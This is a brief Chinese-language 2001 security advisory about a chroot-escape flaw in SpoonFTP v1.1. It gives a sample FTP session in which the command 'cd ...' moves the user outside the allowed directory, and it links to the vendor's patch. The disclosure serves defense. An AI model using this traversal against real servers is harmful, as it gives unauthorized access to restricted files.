发布日期：2001-09-20
更新日期：2001-09-24

受影响系统：

SpoonFTP v1.1

描述：

---

发现SpoonFTP v1.1存在安全问题，可能导致远程攻击者突破chroot限制。这可能导致
敏感信息的泄露，甚至危及整个主机的安全。

<*来源：(joetesta@hushmail.com)
  参考：http://archives.neohapsis.com/archives/bugtraq/2001-09/0171.html
*>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

(joetesta@hushmail.com)提供了如下测试代码：

>ftp localhost
Connected to xxxxxxxx.rh.rit.edu.
220 SpoonFTP V1.1
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required.
Password:
230 User logged in, proceed.
ftp> pwd
257 "/" is current directory.
ftp> cd ...
250 CWD command successful.
ftp> pwd
257 "/..." is current directory.
ftp>


建议：

---

厂商补丁：

目前厂商已经发布了补丁程序，请到厂商的主页下载：
http://www.pi-soft.com/spoonftp/sftp.exe


浏览次数：3564
严重程度：0（网友投票）